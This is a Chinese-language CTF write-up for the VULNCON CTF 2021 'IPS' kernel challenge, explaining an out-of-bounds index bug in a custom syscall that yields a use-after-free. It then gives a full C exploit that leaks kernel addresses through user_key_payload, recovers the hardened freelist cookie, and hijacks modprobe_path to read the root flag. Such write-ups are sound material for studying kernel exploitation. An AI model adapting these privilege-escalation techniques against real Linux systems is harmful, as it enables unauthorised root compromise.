VULNCON CTF 2021 -- IPS

前言

这个题目折磨了我接近一天,服气了,题目不算难,但是利用写得的疯掉了~~~

然后这个题目跟之前的不同,之前的题目都是实现一个内核模块,而这个题目是直接实现了一个系统调用(:所以这里不存在一些条件竞争的漏洞

题目分析

  • 内核版本 v5.14.16
  • smap/smep/kpti/kaslr 全开
  • 设置了 CONFIG_SLAB_FREELIST_HARDENED/RANDOM 编译选项,但是没有 cg 隔离
  • modprobe_path 可劫持

题目给了源码:

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/fdtable.h>

#ifndef __NR_IPS
#define __NR_IPS 548
#endif

#define MAX 16

typedef struct {
  int idx;
  unsigned short priority;
  char *data;
} userdata;

typedef struct {
  void *next;
  int idx;
  unsigned short priority;
  char data[114];
} chunk;

chunk *chunks[MAX] = {NULL};
int last_allocated_idx = -1;

int get_idx(void) {
  int i;
  for(i = 0; i < MAX; i++) {
    if(chunks[i] == NULL) {
      return i;
    }
  }
  return -1;
}

int check_idx(int idx) {
  if(idx < 0 || idx >= MAX) return -1;
  return idx;
}

int remove_linked_list(int idx) {
  int i;
  for(i = 0; i < MAX; i++) {
    if(i == idx) continue;
    if(chunks[i]->next == chunks[idx]) {
      chunks[i]->next = chunks[idx]->next;
      break;
    }
  }
  return 0;
}

int alloc_storage(unsigned int priority, char *data) {
  int idx = get_idx();
  if((idx = check_idx(idx)) < 0) return -1;
  chunks[idx] = kmalloc(sizeof(chunk), GFP_KERNEL);

  if(last_allocated_idx >= 0 && !(chunks[last_allocated_idx]->next)) {
    chunks[last_allocated_idx]->next = chunks[idx];
  }

  chunks[idx]->next = NULL;
  chunks[idx]->idx = idx;
  chunks[idx]->priority = priority;
  memcpy(chunks[idx]->data, data, strlen(data));
  last_allocated_idx = idx;

  return idx;
}

int remove_storage(int idx) {
  if((idx = check_idx(idx)) < 0) return -1;
  if(chunks[idx] == NULL) return -1;

  int i;
  for(i = 0; i < MAX; i++) {
    if(i != idx && chunks[i] == chunks[idx]) { // 删除了所有引用
      chunks[i] = NULL;
    }
  }

  kfree(chunks[idx]);
  chunks[idx] = NULL;

  return 0;
}

int edit_storage(int idx, char *data) {
  if((idx = check_idx(idx)) < 0); // 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的检查其实没用
  if(chunks[idx] == NULL) return -1;
  // 这里可能存在越界
  memcpy(chunks[idx]->data, data, strlen(data));

  return 0;
}

int copy_storage(int idx) {
  if((idx = check_idx(idx)) < 0) return -1;
  if(chunks[idx] == NULL) return -1;

  int target_idx = get_idx(); // 没有对 target_idx 进行合法性检查,target_idx 可能是 -1
  chunks[target_idx] = chunks[idx];
  return target_idx;
}

SYSCALL_DEFINE2(ips, int, choice, userdata *, udata) {
  char data[114] = {0};
  if(udata->data && strlen(udata->data) < 115) {
    if(copy_from_user(data, udata->data, strlen(udata->data))) return -1;
  }
  switch(choice) {
    case 1: return alloc_storage(udata->priority, data);
    case 2: return remove_storage(udata->idx);
    case 3: return edit_storage(udata->idx, data);
    case 4: return copy_storage(udata->idx);
    default: return -1;
  }
}

可以看到,代码主要实现了 __NR_IPS 系统调用,共 4 个功能,实现了堆块的增、删、复制、改。这里一开始就感觉 copy 存在问题,因为这里只是单纯的复制了指针,如果在释放堆块时没有正确处理则会导致 UAF,但是查看 remove 代码可以发现,在删除一个堆块时,会清空所有对其的引用,所有这里也就自然不存在相关漏洞

但是仔细观察,可以发现 copy 中确实存在一个漏洞,当 chunks 数组满时,如果此时调用 copy,这里的 get_idx 函数会因为找不到合适的位置而返回 -1,但是这里却没用对 target_idx 进行合法性检测,从而导致了数组越界(:往上溢出 1 [8 bytes]

然后看 remove 函数,其只检测 [0, MAX) 中的索引,所以这里 -1 就被排除在外了,所以可以利用其来构造一个 UAF

这里单纯一个 UAF 还构不成太大的问题,但是在 edit 中存在同样的问题,对于传入的 idx,如果其不合法,则应该直接返回,但是 edit 仍然利用其进行写入:

int edit_storage(int idx, char *data) {
  // 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的 idx 可能为 -1
  if((idx = check_idx(idx)) < 0); 
  if(chunks[idx] == NULL) return -1;
  
  memcpy(chunks[idx]->data, data, strlen(data));

  return 0;
}

可以看到这里仅仅是判断是否合法,但是没有做出相应的反应,所以这里就可以对释放的堆块进行写入了,所以这里我们获得了一个强大的原语:kmalloc-128 UAF,可进行写入

漏洞利用

构造越界读
由于开启了 kaslr,所以第一步得泄漏 kbase,这里由于没开启 cg 隔离,所以比较简单,kmalloc-128 可以利用 msg_msg 或者 user_key_payload 去进行越界读(:msg_msg 还可以实现任意地址读,但是笔者喜欢用 user_key_payload,思路如下:

  • add 16 次,使得 chunks 被占满
  • copy(idx),使得 chunks[-1] = chunks[idx]
  • dele(idx) 释放 chunks[idx],由于 dele 只会检查 [0, 16) 之间的索引,所以 chunks[-1] 被保留,这里堆块记作 UAF chunk
  • 申请 user_key_payload 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 user_key_payload,此时就可以把 user_key_payloaddatalen 改大从而实现越界读(:后面泄漏 kbase 就比较简单了,可以先提前堆块一些 user_key_payloadrevoke

思路一:USMA
泄漏完 kbase,笔者的第一想法就是 USMA,因为这里 UAF chunk 是可以被写入的,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 申请 pgv 占据 UAF chunk
  • 利用 edit(-1) 修改 UAF chunk 即修改 pgv 即可进行 USMA

但是测试发现没有相关 cap,于是无法创建新的 namespace,所以这个思路就放弃了

思路二:劫持 freelist
然后第二个思路就是去劫持 freelist 实现任意地址分配了,这里思路如下:

  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针从而劫持 freelist

这里来探索下该思路的可行性,首先,edit(-1) 只能修改 ptr + 8 + 6 之后的内存,但是这里调试发现 kmalloc-128offset0x40,所以这里是可以覆写到 next 域的

然后就是去绕过 CONFIG_SLAB_FREELIST_HARDENED 了,而且这里的异或加密还做了加强:ptr_addr 会进行字节翻转后才进行异或,所以这里仅仅靠越界读是无法泄漏 cookie

所以这里想要泄漏 cookie 需要泄漏两个堆地址和其与 cookie 的异或加密值(其实就是最原始的泄漏方法,xor_val = swap(chunk1+0x40) ^ cookie ^ chunk2,所以我们去泄漏 xor_val/chunk1/chunk2,这样就可以泄漏 cookie 了)

这里就得利用 chunk 结构体上的 next 指针了,我们在构造越界读时,可以通过堆风水(单纯申请就行了,就是成功率低一些,但是省事啊)把 chunk 也布置在 user_key_payload 的下方,这里通过越界读就可以泄漏每个 chunknext 值,这里就相当于泄漏的堆地址,并且可以通过 idx 确定当前 next 是哪一个 chunk 的地址,比如 chunk[idx]->next = chunk[idx+1],那如何确定 chunk[-1] 也就是 UAF chunk 的地址呢?其实也简单,越界读是连续的,所以通过某个 chunk[idx] 距离读取起始地址的偏移即可确定 chunk[-1] 的地址

这里假设泄漏了 chunk[i]、chunk[j] 的地址,那么后续利用如下:

  • 释放 chunk[i] chunk[j] 此时 freelist->chunk[j]->chun[i]
  • 利用越界读泄漏 xor_val,然后就可以计算出 cookie
  • 释放掉 user_key_payloadUAF chunk
  • 利用 edit(-1) 修改 UAF chunknext 指针为 cookie ^ swap(chunk[-1]+0x40) ^ (modprobe_path+offset)
    • 这里 modprobe_path 存在 offset 是因为如果你后面利用 chunk 结构占据堆块的话,只能从 +8+6 位置开始写;如果用 user_key_payload 占据的话,只能从 +0x18 位置开始写
  • 然后连续两次申请即可申请到 modprobe_path 附近的内存,然后就可以修改 modprobe_path

最后 exploit 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>


void err_exit(char *msg)
{
    perror(msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void fail_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(1);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#ifndef __NR_IPS
#define __NR_IPS 548
#endif

typedef struct {
  int idx;
  unsigned short priority;
  char *data;
} userdata;

typedef struct {
  uint64_t next;
  int idx;
  unsigned short priority;
  char data[114];
} chunk;

void add(char* data) {
        userdata n = { .data = data };
        if (syscall(__NR_IPS, 1, &n) < 0)
                err_exit("add");
}

void dele(int idx) {
        userdata n = { .idx = idx };
        syscall(__NR_IPS, 2, &n);
}

void edit(int idx, char* data) {
        userdata n = { .idx = idx, .data = data };
        if (syscall(__NR_IPS, 3, &n)) err_exit("deit");
}

void copy(int idx) {
        userdata n = { .idx = idx };
        syscall(__NR_IPS, 4, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

typedef unsigned long long __u64;

#define swap64(x) ((__u64)(                             \
        (((__u64)(x) & (__u64)0x00000000000000ffULL) << 56) |   \
        (((__u64)(x) & (__u64)0x000000000000ff00ULL) << 40) |   \
        (((__u64)(x) & (__u64)0x0000000000ff0000ULL) << 24) |   \
        (((__u64)(x) & (__u64)0x00000000ff000000ULL) <<  8) |   \
        (((__u64)(x) & (__u64)0x000000ff00000000ULL) >>  8) |   \
        (((__u64)(x) & (__u64)0x0000ff0000000000ULL) >> 24) |   \
        (((__u64)(x) & (__u64)0x00ff000000000000ULL) >> 40) |   \
        (((__u64)(x) & (__u64)0xff00000000000000ULL) >> 56)))

void get_flag() {
        system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag.txt\n/bin/chmod 777 /home/user/flag.txt' > /home/user/x");
        system("chmod +x /home/user/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
        system("chmod +x /home/user/dummy");
        system("/home/user/dummy");
        sleep(0.3);
        system("cat /home/user/flag.txt");
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        int res;
        char desc[0x20] = { 0 };
        char buf[0x10000] = { 0 };
        uint64_t kbase = 0xffffffff81000000;
        uint64_t koffset = -1;
        uint64_t user_free_payload_rcu = 0xffffffff8137c190;

        for (int i = 0; i < 16; i++) {
                memset(buf, 'A'+i, 0x20);
                add(buf);
        }

        copy(8);
        dele(8);

        sprintf(desc, "%s", "XiaozaYa");
        int key_id = key_alloc(desc, buf, 80);
        if (key_id < 0) err_exit("key_alloc");

        memset(buf, '\xf0', 8);

        edit(-1, buf);

        res = key_read(key_id, buf, 0xff00);
        if (res < 0x1000) fail_exit("failed to overwrite datalen");

        for (int i = 0; i < 15; i++) {
                if (i != 8) dele(i);
        }

        #define SPRAY_KEY_NUMS 16
        int keys[SPRAY_KEY_NUMS];
        for (int i = 0; i < SPRAY_KEY_NUMS; i++) {
                sprintf(desc, "%s%d", "XiaozaYa", i);
                keys[i] = key_alloc(desc, buf, 80);
                if (keys[i] < 0) err_exit("key_alloc");
        }

        for (int i = 0; i < SPRAY_KEY_NUMS; i++) {
                key_revoke(keys[i]);
        }

        res = key_read(key_id, buf, 0xff00);
        for (int i = 0; i < res / 8; i++) {
                uint64_t val = *(uint64_t*)(buf + i*8);
                if ((val&0xfff) == 0x190 && val > 0xffffffff81000000 && ((val>>32)&0xffffffff) == 0xffffffff) {
                        koffset = val - user_free_payload_rcu;
                        kbase += koffset;
                        break;
                }
        }

        if (koffset == -1) fail_exit("failed to bypass kaslr");

        uint64_t modprobe_path = 0xffffffff8244fa20 + koffset;
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] kbase: %#llx\n", kbase);
        printf("[+] modprobea_path: %#llx\n", modprobe_path);

        memset(buf, 0, sizeof(buf));
        for (int i = 0; i < 15; i++) {
                userdata n = { .data = buf, .priority = 'A'+i };
                syscall(__NR_IPS, 1, &n);
        }

        res = key_read(key_id, buf, 0xff00);
//      binary_dump("LEAK DATA", buf+128-0x18, 128 * 20);
        chunk* h = NULL;
        int nums = 0;
        uint64_t addrs[16] = { 0 };
        uint64_t offsets[16];
        for (int i = 0; i < 16; i++) offsets[i] = -1;
        for (uint64_t i = 0; i < (res - 128 + 0x18) / 128; i++) {
                h = (buf+128-0x18) + i * 128;
                if (h->next > 0xffff000000000000 && (h->next&0xffff000000000000) == 0xffff000000000000 && (h->idx + 'A') == h->priority) {
                        if (h->idx == 15) {
                                addrs[0] = h->next;
                        } else {
                                addrs[h->idx+1] = h->next;
                        }
                        offsets[h->idx] = i;
                }
        }

        #define IDX 0
        #define ADDR 1
        #define OFFSET 2
        uint64_t map[16][3];
        for (int i = 0; i < 16; i++) {
                if (addrs[i] && offsets[i] != -1) {
                        printf("[---offset %03x---] %02d => %#llx\n", offsets[i], i, addrs[i]);
                        map[nums][IDX] = i;
                        map[nums][ADDR] = addrs[i];
                        map[nums][OFFSET] = offsets[i];
                        nums++;
                }
        }

        printf("[+] hit counts: %d\n", nums);
        if (nums < 2) fail_exit("failed to hit");

        uint64_t evil_chunk = map[0][ADDR] - map[0][OFFSET] * 128 - 128;
        printf("[+] evil_chunk: %#llx\n", evil_chunk);

        dele(map[0][IDX]);
        dele(map[1][IDX]);

        res = key_read(key_id, buf, 0xff00);
        uint64_t xor_val0 = *(uint64_t*)(buf+128-0x18+128*map[0][OFFSET]+0x40);
        uint64_t xor_val1 = *(uint64_t*)(buf+128-0x18+128*map[1][OFFSET]+0x40);
        printf("[+] xor_val0: %#llx\n", xor_val0);
        printf("[+] xor_val1: %#llx\n", xor_val1);

        uint64_t cookie = map[0][ADDR] ^ swap64((map[1][ADDR]+0x40)) ^ xor_val1;
        printf("[+] cookie: %#llx\n", cookie);


        memset(buf, '\x00', 0x100);
        memset(buf, 'A', 0x32);
        buf[0] = '\xff';
        buf[1] = '\xff';
        *(uint64_t*)(buf+0x32) = (modprobe_path-8-6) ^ cookie ^ swap64((evil_chunk+0x40));
        printf("[+] evil freelist: %#llx\n", *(uint64_t*)(buf+0x32));
        printf("[+] data len: %x\n", strlen(buf));
        key_revoke(key_id);
//      key_unlink(key_id);
//      edit(-1, buf);
//      edit(-1, buf);
        getchar(); // <=================== 不要删除,不然利用失败
        edit(-1, buf);

        memset(buf, '\x00', 0x100);
        strcpy(buf, "/home/user/x");
        for (int i = 0; i < 2; i++) {
                add(buf);
        }

        get_flag();
//      puts("[+] debug");
//      getchar();

        puts("[+] EXP NERVER END");
        return 0;
}

效果如下:
在这里插入图片描述

存在的问题

首先就是成功率不是很高啦,这个从我的 exploit 就可以看出,笔者并没有优化相关的堆风水,整个堆布局的构建都很简单粗暴,所以成功率低可以理解

关键的问题是可以看到我 exploit 中在修改 chunk[-1]next 时,在前面加上了一个 getchar(),这个 getchar() 不是随意加的,因为笔者测试发现删除该 getchar() 则导致 edit(-1, buf) 写入失败。但是在调试的时候不加又是可以成功写入的,直接运行不加则会导致写入失败:
在这里插入图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值